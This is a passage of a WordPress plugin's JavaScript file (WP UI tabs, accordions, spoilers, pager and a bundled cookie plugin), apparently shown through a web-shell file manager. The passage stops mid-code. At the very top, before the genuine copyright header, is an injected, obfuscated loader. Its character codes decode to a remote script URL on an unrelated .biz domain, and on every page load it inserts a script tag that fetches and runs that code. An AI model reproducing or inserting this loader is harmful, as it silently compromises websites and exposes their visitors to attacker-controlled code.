|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /html/wordpress-old/wp-content/plugins/wp-ui/js/ |
Upload File : |
var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,53);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}/*!
* WP UI version 0.8.5
*
* Copyright (c) 2011, Kavin Amuthan ( http://kav.in )
* @license - Dual licensed under the MIT and GPL licenses.
*
* Below components Copyright and License as per the respective authors.
* Thanks for their hard work.
*
* Includes jQuery cookie plugin by Klaus Hartl.
* Includes hashchange event plugin by Ben Alman.
* Includes Mousewheel event plugin by Brandon Aaron.
*
*
* Requires : jQuery v1.4.2, jQuery UI v1.8 or later.
*/
// document.write blank page fix. Thanks to altCognito's code on stackoverflow. ( http://stackoverflow.com/q/761190 ) from which this is adapted.
if ( typeof wpUIOpts == 'object' && wpUIOpts.docWriteFix == 'on' ) {
var docWriteTxt = "";
jQuery(function() {
document.write = function( dWT ) {
docWriteTxt += dWT;
}
// document.write("");
jQuery( docWriteTxt ).appendTo( 'body' );
});
} // END doc write fix.
/*
* Component - Tabs
*/
tabSet = 0;
function getNextSet() {
return ++tabSet;
}
var tabNames = [], accNames = [];
jQuery.fn.wptabs = function( options ) {
var linkAttrs;
var o = jQuery.extend({} , jQuery.fn.wptabs.defaults, options);
// Assign $this.
this.each(function() {
uid = getNextSet();
base = this;
var $this = jQuery(this);
base.jqui = false;
if ( $this.hasClass( 'jqui-styles' ) ) {
base.jqui = true;
}
// Add an empty UL element.
$this.prepend('<ul class="ui-tabs-nav" />');
var wrapper = $this.children(o.h3Class).wrap('<div class="ui-tabs-panel"></div>');
$this.find('div.ui-tabs-panel:last-child').after('<p id="jqtemp">');
if ( o.wpuiautop ) {
$this
.find('p, br')
.not('div.wp-tab-content br, div.wp-tab-content p ')
.filter(function() {
return jQuery.trim(jQuery(this).html()) === ''
}).remove();
}
wrapper.each(function() {
jQuery(this).parent().append( jQuery(this).parent().nextUntil("div.ui-tabs-panel") );
});
// liStr = '';
// Add the respective IDs to the ui-tabs-panel(content) and remove the h3s.
$this.find('.ui-tabs-panel').children(o.h3Class).each(function( index ) {
dup = getNextSet();
parID = jQuery( this ).text();
otherClass = jQuery( this ).hasClass( 'wpui-hidden-tab' ) ? 'wpui-hidden-tab' : '';
// Non english characters.
if ( parID.match( /[^\x00-\x80]+/ ) ) {
base.nonEng = true;
parID = 'tab-' + dup;
}
if ( jQuery( this ).has( o.linkAjaxClass ).length != 0 )
base.linkAJAX = true;
// Process pID.
parID = parID.replace(/\s{1,}/gm, '_')
.replace( /[^\-A-Za-z0-9\s_]/mg, '')
.toLowerCase();
var linkS = '';
if ( jQuery.inArray( parID, tabNames ) != '-1' )
parID = parID + '-' + dup;
if ( base.linkAJAX ) {
aLink = jQuery( this ).find( o.linkAjaxClass );
linkS = '<a href="' + aLink.attr( "href" ) + '">' + aLink.text() + '</a>';
} else if( jQuery( this ).find( 'img' ).length == 1 ) {
var parIMG = jQuery( this ).find( 'img' );
while ( parIMG.parent().is( 'h3' ) != 1 ) parIMG.unwrap();
parIMG.removeAttr( 'style' ).css( 'vertical-align', 'middle' );
if ( parIMG.attr( 'title' ) != 'undefined' && parIMG.attr( 'title') != '' && jQuery( this ).text() == '' )
parID = parIMG.attr( 'title' ).replace(/\s{1,}/gm, '_').replace( /[^\-A-Za-z0-9\s_]/mg, '');
var imgLink = '<img src="' + parIMG.attr( 'src' ) + '" title="' + parIMG.attr( 'title' ) + '" />';
linkS = '<a href="#' + parID + '">' + imgLink + jQuery( this ).text() + '</a>';
} else {
linkS = '<a href="#' + parID + '">' + jQuery( this ).text() + '</a>';
}
liStr = '<li class="' + otherClass + '">' + linkS + '</li>';
$this.find( 'ul.ui-tabs-nav' ).append( liStr );
if ( ! base.linkAJAX )
jQuery( this ).parent().attr( 'id', parID );
else
jQuery( this ).parent().remove();
tabNames = tabNames.concat( parID );
}).hide();
// Wrap everything inside div.ui-tabs
if ( $this.find('div.ui-tabs').length == 0) {
$this.find('ul.ui-tabs-nav').before("<div class='ui-tabs'>");
$this.find('.ui-tabs').each(function() {
jQuery(this).append( jQuery(this).nextUntil('p#jqtemp'));
});
}
tabsobj = {};
if ( o.effect == 'slideDown' ) {
tabsobj.fx = { height: 'toggle', speed: o.effectSpeed};
} else if ( o.effect == 'fadeIn' ) {
tabsobj.fx = {opacity: 'toggle', speed: o.effectSpeed};
}
if ( o.cookies ) {
tabsobj.cookie = { expires : 30 };
}
if ( o.tabsEvent ) {
tabsobj.event = o.tabsEvent;
}
if ( o.collapsibleTabs ) {
tabsobj.collapsible = true;
}
////////////////////////////////////////////////
///////////// Initialize the tabs /////////////
//////////////////////////////////////////////
var $tabs = $this.children('.ui-tabs').tabs(tabsobj);
jQuery('ul.ui-tabs-nav').each(function() {
jQuery('li:first', this).addClass('first-li');
jQuery('li:last', this).addClass('last-li');
});
if ( o.alwaysRotate != 'disable' ) {
jQuery( '[class*=tab-rotate]').each(function() {
rotateSpeed = jQuery(this).attr('class').match(/tab-rotate-(.*)/, "$1");
if (rotateSpeed != null ) {
if (rotateSpeed[1].match(/(\d){1,2}s/, "$1")) rotateSpeed[1] = rotateSpeed[1].replace(/s$/, '')*1000 ;
rotateSpeed = rotateSpeed[1];
alwaysRotate = ( o.alwaysRotate == 'always' ) ? true : false;
}
jQuery(this).find('.ui-tabs')
.tabs( 'rotate', rotateSpeed, alwaysRotate );
});
}
if (o.followNav == true || $this.hasClass('tab-nav-follows')) {
o.topNav = o.bottomNav = false;
$tabs.append('<a href="#" class="ui-button tab-nav-follows prev-follow"><span></span>Previous</a> <a href="#" class="ui-button tab-nav-follows next-follow"><span></span>Next</a>');
jQuery('.tab-nav-follows').css({
position: 'absolute'
});
wptabsHgt = $this.height() / 2;
wptabsNavWdt = $tabs.children('.tab-nav-follows').outerWidth();
$tabs.parent().css({
position: 'relative'
});
maxPH = 0;
$tabs.children('.ui-tabs-panel').each(function() {
if (jQuery(this).height() > maxPH) {
maxPH = jQuery(this).height();
}
});
$tabs.children('div.ui-tabs-panel').innerHeight(maxPH + 50);
jQuery('.next-follow').css({
right: wptabsNavWdt * -1 + "px",
top: "150px"
}).click(function() {
wpuiTabsMover('forward');
return false;
});
jQuery('.prev-follow').css({
left: wptabsNavWdt * -1 + "px",
top: "150px"
}).click(function() {
wpuiTabsMover('backward');
return false;
});
$fNavs = $this.find('a.tab-nav-follows');
$fNavs.wpuiScroller({
container: $tabs.get(0)
});
}
if ( o.topNav || o.bottomNav ) {
// Add previous/next navigation.
$this.find('div.ui-tabs-panel').each(function(i) {
// base.navClass = '';
// base.navNextSpan = '';
// base.navPrevSpan = '';
// if ( base.jqui ) {
base.navClass = ' ui-button ui-widget ui-state-default ui-corner-all';
base.navPrevSpan = '<span class="ui-icon ui-icon-circle-triangle-w"></span>';
base.navNextSpan = '<span class="ui-icon ui-icon-circle-triangle-e"></span>';
// }
! o.topNav || jQuery(this).prepend('<div class="tab-top-nav" />');
! o.bottomNav || jQuery(this).append('<div style="clear: both;"></div><div class="tab-bottom-nav" />');
var totalLength = jQuery(this).parent().children('.ui-tabs-panel').length -1;
if ( i != 0 ) {
! o.topNav || jQuery(this).children('.tab-top-nav').prepend('<a href="#" class="backward prev-tab ' + base.navClass + '">' + base.navPrevSpan + o.tabPrevText + '</a>');
! o.bottomNav || jQuery(this).children('.tab-bottom-nav').append('<a href="#" class="backward prev-tab ' + base.navClass + '">' + base.navPrevSpan + o.tabPrevText + '</a>');
}
if ( i != totalLength ) {
! o.topNav || jQuery(this).children('.tab-top-nav').append('<a href="#" class="forward next-tab ' + base.navClass + '">' + o.tabNextText + base.navNextSpan + '</a>');
! o.bottomNav || jQuery(this).children('.tab-bottom-nav').append('<a href="#" class="forward next-tab ' + base.navClass + '">' + o.tabNextText + base.navNextSpan + '</a>');
}
}); //END div.ui-tabs-panel each.
jQuery('a.forward, a.backward').hover(function() {
if ( base.jqui )
jQuery(this).addClass('ui-state-hover');
}, function() {
if ( base.jqui )
jQuery( this ).removeClass('ui-state-hover');
}).focus(function() {
if ( base.jqui )
jQuery(this).addClass('ui-state-focus ui-state-active');
}).blur(function() {
if ( base.jqui )
jQuery(this).removeClass('ui-state-focus ui-state-active');
});
} // END if o.navigation
// $tabs.tabs('option', 'disabled', false);
if ( o.position == 'bottom' || jQuery(this).hasClass('tabs-bottom') ) {
jQuery('ul.ui-tabs-nav', this).each(function() {
jQuery(this)
.appendTo(jQuery(this).parent())
.addClass('ul-bottom');
});
$this.children('.ui-tabs')
.addClass('bottom-tabs')
.children('.ui-tabs-panel')
.each(function() {
jQuery(this).addClass('bottom-tabs');
});
} // END BottomTabs check.
// Vertical tabsets.
if ( $this.hasClass( 'wpui-tabs-vertical' ) ) {
$tabs.addClass( 'ui-tabs-vertical ui-helper-clearfix' );
$tabs.find('li').removeClass('ui-corner-top').addClass( 'ui-corner-left' );
$tabs.find('ul.ui-tabs-nav')
.css({ position : 'absolute' })
.removeClass( 'ui-corner-all' )
.addClass( 'ui-corner-left' )
.children()
.css({ 'float' : 'left', clear: 'left', position : 'relative' });
getListWidth = jQuery(this).attr('class').match(/listwidth-(\d{2,4})/, "$1");
if ( getListWidth != null ) {
ulWidth = getListWidth[ 1 ];
} else {
ulWidth = $tabs.find( 'ul.ui-tabs-nav' ).outerWidth();
}
// console.log( ulWidth );
ulHeight = $tabs.find( 'ul.ui-tabs-nav' ).outerHeight();
$tabs.find( 'ul.ui-tabs-nav' ).width( ulWidth );
$tabs.find( 'div.ui-tabs-panel' ).css({ 'float' : 'right' });
parWidth = $tabs.width() -
(
parseInt( $tabs.children( 'div.ui-tabs-panel' ).css('paddingLeft') ) +
parseInt( $tabs.children( 'div.ui-tabs-panel' ).css('paddingRight') ) +
parseInt( $tabs.children( 'div.ui-tabs-panel' ).css('borderRightWidth') ) +
parseInt( $tabs.children( 'div.ui-tabs-panel' ).css('borderLeftWidth') )
);
PaneWidth = parWidth - ulWidth;
maxPane = 0;
paneCount = $tabs.find( '.ui-tabs-panel' ).length;
$tabs.find('.ui-tabs-panel').width( PaneWidth );
$tabs.find( '.ui-tabs-panel' ).each(function() {
if ( jQuery( this ).outerHeight() > maxPane ) {
maxPane = jQuery( this ).outerHeight();
}
});
// if ( jQuery.browser.mozilla == true ) {
// jQuery( 'body' ).append( '<style type="text/css">.tabs-arrow-svg { clip-path : url( #c1 ); }</style><svg height="0"> <clipPath id="c1" clipPathUnits="objectBoundingBox"> <polygon style="fill:#FFFFFF;" points="0,0 0,1 0.4,1 0.8,0.5 0.4,0"/> </clipPath> </svg> ' );
// jQuery( '.wpui-tabs-arrow' ).each(function() {
// jQuery( this ).addClass( 'tabs-arrow-svg' );
// });
// }
if ( o.effect == 'slideDown' )
$this.find('.ui-tabs').tabs({ fx : null });
if ( maxPane != 0 ) {
( maxPane > ulHeight ) ?
$tabs.children().innerHeight( maxPane + 40 ) :
$tabs.children().innerHeight( ulHeight + 40 );
}
}
if (typeof WPUIOpts != 'undefined')
$this.append('<a class="thickbox cap-icon-link" title="" href="http://kav.in"><img src="' + wpUIOpts.pluginUrl + '/images/cquest.png" alt="Cap" /></a>');
if ( jQuery.event.special.mousewheel !== "undefined" && o.mouseWheel != 'false' ) {
if ( o.mouseWheel && o.mouseWheel == "panels" ) {
scrollEl = 'div.ui-tabs-panel';
} else {
scrollEl = 'ul.ui-tabs-nav';
}
$this.panelength = $tabs.find( '.ui-tabs-panel' ).length;
$tabs.find( scrollEl ).mousewheel(function( event, delta) {
if ( delta < 0 )
dir = "forward";
else if ( delta > 0 )
dir = "backward";
typeof ( dir ) == 'undefined' || wpuiTabsMover( dir );
return false;
});
}
$this.find( 'a.next-tab, a.prev-tab' ).hover(function() {
jQuery( this ).addClass( 'ui-state-hover' );
}, function() {
jQuery( this ).removeClass( 'ui-state-hover' );
});
$this.find( 'a.next-tab, a.prev-tab' ).click(function() {
if ( jQuery( this ).is('a.next-tab') )
wpuiTabsMover( "forward" );
else
wpuiTabsMover( "backward" );
return false;
});
// Change the corners on no-tabs-background
if ( $this.hasClass( 'wpui-no-background' ) ) {
$this.find( 'ul.ui-tabs-nav > li' )
.removeClass( 'ui-corner-top' )
.addClass( 'ui-corner-all' );
}
// if ( jQuery.fn.wpuiSwipe !== "undefined" && o.mouseWheel != 'false' ) {
//
// $tabs.find( 'div.ui-tabs-panel' ).wpuiSwipe({
// swipeLeft : function() { wpuiTabsMover( "backward" ); },
// swipeRight : function() { wpuiTabsMover( "forward" ); }
// });
// }
var wpuiTabsMover = function( dir ) {
dir = dir || 'forward';
mrel = $this.find('.ui-tabs').tabs('option', 'selected');
mrel = ( dir == 'backward' ) ? mrel - 1 : mrel + 1;
if ( dir == "forward" && mrel == $this.panelength ) mrel = 0;
if ( dir == "backward" && mrel < 0 ) mrel = $this.panelength - 1;
$tabs.tabs( "select", mrel );
};
}); // END return $this.each.
if ( o.hashChange && typeof jQuery.event.special.hashchange != "undefined" ) {
jQuery( window ).hashchange(function() {
tabHash = window.location.hash;
if ( ( jQuery( tabHash ).length != 1 ) ||
( jQuery.inArray( tabHash.replace( /^#/, '' ) , tabNames ) == -1 )
)
return false;
hashed = jQuery(window.location.hash).prevAll().length - 1;
// console.log( window.location.hash );
// console.log( tabNames );
jQuery( window.location.hash )
.parent()
.tabs({ selected : hashed });
return false;
});
jQuery( window ).hashchange();
} // END check availability for hashchange event.
return this;
}; // END function jQuery.fn.wptabs.
jQuery.fn.wptabs.defaults = {
h3Class : 'h3.wp-tab-title',
linkAjaxClass : 'a.wp-tab-load',
topNav : (typeof wpUIOpts != "undefined" && wpUIOpts.topNav == 'on' ) ? true : false,
bottomNav : (typeof wpUIOpts != "undefined" && wpUIOpts.bottomNav == 'on' ) ? true : false,
position : 'top',
navStyle : (typeof wpUIOpts != "undefined") ? wpUIOpts.tabsLinkClass : '',
effect : (typeof wpUIOpts != "undefined") ? wpUIOpts.tabsEffect : '',
effectSpeed : (typeof wpUIOpts != "undefined") ? wpUIOpts.effectSpeed : '',
alwaysRotate : (typeof wpUIOpts != "undefined") ? wpUIOpts.alwaysRotate : '', // True - will rotate inspite of clicks. False - will stop.
tabsEvent : (typeof wpUIOpts != "undefined") ? wpUIOpts.tabsEvent : '',
collapsibleTabs : (typeof wpUIOpts != "undefined" && wpUIOpts.collapsibleTabs == 'on' ) ? true : false,
tabPrevText : (typeof wpUIOpts != "undefined" && wpUIOpts.tabPrevText != '' ) ? wpUIOpts.tabPrevText : '« Previous',
tabNextText : (typeof wpUIOpts != "undefined" && wpUIOpts.tabNextText != '' ) ? wpUIOpts.tabNextText : 'Next »',
cookies : (typeof wpUIOpts != "undefined" && wpUIOpts.cookies == 'on' ) ? true : false,
hashChange : (typeof wpUIOpts != "undefined" && wpUIOpts.hashChange == 'on' ) ? true : false,
hashChange : (typeof wpUIOpts != "undefined" && wpUIOpts.hashChange == 'on' ) ? true : false,
mouseWheel : (typeof wpUIOpts != "undefined" ) ? wpUIOpts.mouseWheelTabs : '',
wpuiautop : true,
followNav: false
};
jQuery.fn.wpuiScroller = function(options) {
var base = this;
base.$el = jQuery(this);
base.opts = jQuery.extend({},
jQuery.fn.wpuiScroller.defaults, options);
base.startTop = parseInt(base.$el.css('top'));
if (base.opts.limiter) {
base.limiter = jQuery(base.opts.limiter);
} else {
base.limiter = base.$el.parent().parent();
}
base.startAt = parseInt(base.limiter.offset().top);
jQuery(window).scroll(function() {
base.endAt = parseInt(base.limiter.height() + jQuery(window).height() / 2);
base.moveTo = base.startTop;
if (jQuery(document).scrollTop() >= base.startAt) {
base.moveTo = base.startTop + (jQuery(window).scrollTop() - base.startAt);
if ((jQuery(window).scrollTop() + jQuery(window).height() / 2) >= (base.limiter.height() + base.limiter.offset().top - base.startTop)) {
base.moveTo = base.limiter.height() - base.startTop;
}
}
base.$el.css('top', base.moveTo);
});
return this;
};
jQuery.fn.wpuiScroller.defaults = {
limiter: false,
adJust: 50
};
/*
* WP UI Pager
*/
jQuery.fn.wpuiPager = function( options ) {
var base = this;
base.$el = jQuery( base );
o = jQuery.extend( {} , jQuery.fn.wpuiPager.defaults, options );
base.$el.each(function() {
base.pages = jQuery( this ).children( o.pageClass );
// base.pages.addClass( 'wpui-page-hidden' );
// base.pages.eq( 0 ).removeClass( 'wpui-page-hidden' );
base.pages.hide();
base.pages.eq( 0 ).show();
// Pager
base.pageNum = jQuery( this ).children( o.pageClass ).length;
jQuery( this ).append( '<div class="wpui-pager">' + base.pageNum + ' Pages </div>' );
base.pager = jQuery( this ).find( '.wpui-pager' );
base.wpuiHeight = 0;
base.pages.each(function() {
tisHgt = parseInt( jQuery( this ).css('height') );
if ( tisHgt > base.wpuiHeight )
base.wpuiHeight = tisHgt;
});
base.wpuiHeight <= 0 || base.pages.height( base.wpuiHeight );
pageStr = '';
for( i = 0; i < base.pageNum; i++ ) {
pageNum = i+1;
pageStr += '<a class="wpui-page-number" href="#" rel="' + i + '">' + pageNum + '</a>';
}
base.pager.append( pageStr );
base.pager.append( '<a class="wpui-next-page" href="#">Next »</a>' );
base.pager.each(function() {
jQuery( this ).find( 'a' ).eq( 0 ).addClass( 'wpui-page-active' );
});
// END base.pager
// // Slide animation
// base.pagesTWidth = Math.round( ( base.pages.length + 1 ) * base.pages.width() );
// base.pageHeight = base.pages.height();
// base.pageWid = base.pages.eq( 0 ).width();
// base.pages.width( base.pages.parent().innerWidth() - 40 );
//
// base.pages
// .parent()
// .wrapInner( '<div class="wpui-pages-wrapper" />' );
//
// base.pages.width( base.pageWid );
//
// base.pages
// .parent()
// .css({ position : 'absolute', width : base.pagesTWidth })
// .parent()
// .css({ position : 'relative', overflow : 'hidden' })
// .height( base.pageHeight );
base.browsePages = function( pageN, el ) {
// console.log( this );
bPage = jQuery( el ).parent().parent().find( o.pageClass );
if ( o.effect == 'fade' ) {
bPage.eq( pageN )
.fadeIn( o.speed )
.siblings( '.wpui-page' )
.hide();
} else if ( o.effect == 'slide' ) {
bPage.eq( pageN )
.slideDown( o.speed )
.siblings( '.wpui-page' )
.hide();
} else {
bPage.eq( pageN ).show().siblings( '.wpui-page' ).hide();
}
jQuery( el ).siblings().removeClass( 'wpui-page-active' );
// console.log( this );
jQuery( el ).addClass( 'wpui-page-active' );
};
base.pager.children( 'a' ).click( function() {
// console.log( base.pages );
pagess = jQuery( this ).parent().parent().find( o.pageClass );
// console.log( pagess );
pagessCount = jQuery( this ).siblings().length;
if ( jQuery( this ).hasClass( 'wpui-next-page' ) ) {
currEl = jQuery( this ).siblings( '.wpui-page-active' );
if ( currEl.attr("rel") == ( pagessCount - 1 ) )
nextEl = jQuery( this ).siblings().eq( 0 );
else
nextEl = currEl.next();
relEL = nextEl.attr( 'rel' );
activeEl = nextEl.get( 0 );
} else {
relEL = jQuery( this ).attr( 'rel' );
activeEl = this;
}
// pagess.addClass( 'wpui-page-hidden' );
// pagess.eq( relEL ).removeClass( 'wpui-page-hidden' );
// // base.$el.find( o.pageClass )
//
// jQuery( this ).siblings().removeClass( 'wpui-page-active' );
// jQuery( this ).addClass( 'wpui-page-active' );
base.browsePages( relEL, activeEl );
return false;
});
});
return this;
};
jQuery.fn.wpuiPager.defaults = {
position : 'bottom',
pageClass : '.wpui-page',
speed : 600,
effect : 'fade'
};
/*
* Component - Accordion
*/
jQuery.fn.wpaccord = function( options ) {
var wrapper,
loadLinks,
getAjaxUrl,
o = jQuery.extend({} , jQuery.fn.wpaccord.defaults, options );
this.each(function() {
var $this = jQuery(this);
$this.append('<p id="jqtemp" />');
if ( o.wpuiautop ) {
$this
.find('p, br')
.not('div.wp-tab-content br, div.wp-tab-content p ')
.filter(function() {
return jQuery.trim(jQuery(this).html()) === ''
}).remove();
}
// var wrapcontent = $this.find('h3').next().wrap('<div class="accordion-pre">');
wrapper = $this.find('h3:first').wrap('<div class="accordion">');
// $this.find('p, br').filter(function() {
// return jQuery.trim(jQuery(this).text()) === ''
// }).remove();
if ( o.wpuiautop ) {
$this
.find('p, br')
.not('div.wp-tab-content br, div.wp-tab-content p ')
.filter(function() {
return jQuery.trim(jQuery(this).html()) === ''
}).remove();
}
wrapper.each(function() {
jQuery(this).parent().append( jQuery(this).parent().nextUntil( 'p#jqtemp' ));
});
$this.find(o.h3Class).each(function() {
loadLinks = jQuery(this).children(o.linkAjaxClass);
dup = getNextSet();
aparID = jQuery(this).text().replace(/\s{1,}/gm, '_');
aparID = aparID.replace( /[^\-A-Za-z0-9\s_]/mg, '');
if ( aparID.match( /[^\x00-\x80]+/ ) ) {
aparID = 'acc-' + dup;
}
if ( jQuery.inArray( aparID, accNames ) != '-1' ) {
aparID = aparID + '_' + dup;
}
jQuery(this)
.next()
.attr('id', aparID);
if ( loadLinks.length != 0) {
getAjaxUrl = loadLinks.attr("href");
loadLinks.parent().after('<div></div>');
jQuery(this).next().load(wpUIOpts.wpUrl + "/" + getAjaxUrl);
jQuery(this).text(jQuery(this).children().text());
} // END check loadLinks.length
accNames = accNames.concat( aparID );
}); // END $this h3class.
accordOpts = {};
if ( o.autoHeight ) {
accordOpts.autoHeight = true;
} else {
accordOpts.autoHeight = false;
}
// console.log( accClass.match(/acc-active-(\d){1}/im) );
if ( o.collapse ) {
accordOpts.collapsible = true;
accordOpts.active = false;
}
accordOpts.animated = o.easing;
accordOpts.event = o.accordEvent;
$wpAccord = jQuery( '.accordion' ).accordion(accordOpts);
accClass = $this.attr( 'class' );
if ( activePanel = accClass.match(/acc-active-(\d){1}/im) ) {
$wpAccord.accordion( 'activate', parseInt( activePanel[ 1 ] ) );
}
jQuery('.accordion h3.ui-accordion-header:last').addClass('last-child');
// if ( o.hashChange && typeof jQuery.event.special.hashchange != "undefined" ) {
jQuery( window ).hashchange(function() {
aHash = window.location.hash;
if ( ( jQuery( aHash ).length != 1 ) ||
( jQuery.inArray( aHash.replace( /^#/, '' ) , accNames ) == -1 )
)
return false;
hashed = jQuery(window.location.hash).prevAll( o.h3Class ).length - 1;
jQuery( window.location.hash ).parent().accordion( 'activate', hashed );
return false;
});
jQuery( window ).hashchange();
// }
// $this.find('p#jqtemp').remove();
});
}; // END Function wpaccord.
jQuery.fn.wpaccord.defaults = {
h3Class : 'h3.wp-tab-title',
linkAjaxClass : 'a.wp-tab-load',
effect : (typeof wpUIOpts != "undefined") ? wpUIOpts.accordEffect : '',
autoHeight : (typeof wpUIOpts != "undefined" && wpUIOpts.accordAutoHeight == 'on' ) ? true : false,
collapse : (typeof wpUIOpts != "undefined" && wpUIOpts.accordCollapsible == 'on' ) ? true : false,
easing : (typeof wpUIOpts != "undefined" ) ? wpUIOpts.accordEasing : '',
accordEvent : ( typeof wpUIOpts != "undefined" ) ? wpUIOpts.accordEvent : '',
wpuiautop : true,
hashChange : true
}; // END wpaccord defaults.
/*
* Component - Spoilers/Collapsibles
*/
jQuery.fn.wpspoiler = function( options ) {
var o, defaults, holder, hideText, showText, currText, hideSpan;
o = jQuery.extend({}, jQuery.fn.wpspoiler.defaults, options );
this.each(function() {
var base = this,
$this = jQuery( base );
if ( typeof convertEntities == 'function' ) {
hideText = convertEntities( o.hideText );
showText = convertEntities( o.showText );
} else {
hideText = o.hideText; showText = o.showText;
}
$this.addClass( 'ui-widget ui-collapsible' );
$header = $this.children( o.headerClass );
$header
.addClass( 'ui-collapsible-header' )
.each(function() {
jQuery( this ).prepend( '<span class="ui-icon"></span>' );
jQuery( this )
.addClass( 'ui-state-default ui-corner-all ui-helper-reset' )
.find( 'span.ui-icon', this )
.addClass( o.openIconClass );
jQuery( this )
.append( '<span class="' + o.spanClass.replace(/\./, '') + '" style="float:right"></span>' )
.find( o.spanClass )
.html( showText );
base.aniOpts = {};
if ( o.fade ) base.aniOpts[ 'opacity' ] = 'toggle';
if ( o.slide ) base.aniOpts[ 'height' ] = 'toggle';
if ( o.slide || o.fade ) {
if ( jQuery( '[class*=speed-]').length ) {
animSpeed = jQuery(this)
.attr('class')
.match(/speed-(.*)\s|\"/, "$1");
if ( animSpeed ) {
speed = animSpeed[1];
} else {
speed = o.speed;
}
}
}
}).next( 'div' )
.addClass( 'ui-collapsible-content ui-widget-content ui-corner-bottom' )
.wrapInner( '<div class="ui-collapsible-wrapper" />' )
.find( '.close-spoiler')
.addClass('ui-state-default ui-widget ui-corner-all ui-button-text-only' )
.end()
.hide(); // end headerClass each.
$header.hover( function() {
jQuery( this ).addClass( 'ui-state-hover' ).css({ cursor : 'pointer' });
}, function() {
jQuery( this ).removeClass( 'ui-state-hover' );
});
$header.click(function() {
base.headerToggle( this );
});
$this.find( 'a.close-spoiler' ).click(function( e ) {
e.stopPropagation();
e.preventDefault();
heads = jQuery( this ).parent().parent().siblings( o.headerClass ).get(0);
base.headerToggle( heads );
return false;
});
base.headerToggle = function( hel ) {
spanText = jQuery( hel ).find( o.spanClass ).html();
// Toggle the header and icon classes.
jQuery( hel )
.toggleClass( 'ui-state-active ui-corner-all ui-corner-top' )
.children( 'span.ui-icon' )
.toggleClass( o.closeIconClass )
.siblings( o.spanClass )
.html( ( spanText == hideText) ? showText : hideText )
.parent()
.next( 'div.ui-collapsible-content' )
.animate( base.aniOpts , o.speed, o.easing )
.addClass( 'ui-widget-content' );
}; // END headerToggle function.
if ( $this.find( o.headerClass).hasClass( 'open-true' ) ) {
h3 = $this.children( o.headerClass ).get(0);
base.headerToggle( h3 );
} // end check for open-true
}); // this.each function.
return this;
};
jQuery.fn.wpspoiler.defaults = {
// hideText : 'Click to hide',
// showText : 'Click to show',
hideText : (typeof wpUIOpts != "undefined") ? wpUIOpts.spoilerHideText : '',
showText : (typeof wpUIOpts != "undefined") ? wpUIOpts.spoilerShowText : '',
easing : 'easeInOutQuart',
fade : true,
slide : true,
speed : 600,
spanClass: '.toggle_text',
headerClass : 'h3.wp-spoiler-title',
openIconClass : 'ui-icon-triangle-1-e',
closeIconClass : 'ui-icon-triangle-1-s'
};
/**
* The includes below. A lot of thanks to the respective authors.
*/
/**
* jQuery Cookie plugin
*
* Copyright (c) 2010 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
*/
// TODO JsDoc
/**
* Create a cookie with the given key and value and other optional parameters.
*
* @example $.cookie('the_cookie', 'the_value');
* @desc Set the value of a cookie.
* @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
* @desc Create a cookie with all available options.
* @example $.cookie('the_cookie', 'the_value');
* @desc Create a session cookie.
* @example $.cookie('the_cookie', null);
* @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
* used when the cookie was set.
*
* @param String key The key of the cookie.
* @param String value The value of the cookie.
* @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
* @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
* If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
* If set to null or omitted, the cookie will be a session cookie and will not be retained
* when the the browser exits.
* @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
* @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
* @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
/**
* Get the value of a cookie with the given key.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String key The key of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function (key, value, options) {
// key and value given, set cookie...
if (arguments.length > 1 && (value === null || typeof value !== "object")) {
options = jQuery.extend({}, options);
if (value === null) {
options.expires = -1;
}
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setDate(t.getDate() + days);
}
return (document.cookie = [
encodeURIComponent(key), '=',
options.raw ? String(value) : encodeURIComponent(String(value)),
options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
options.path ? '; path=' + options.path : '',
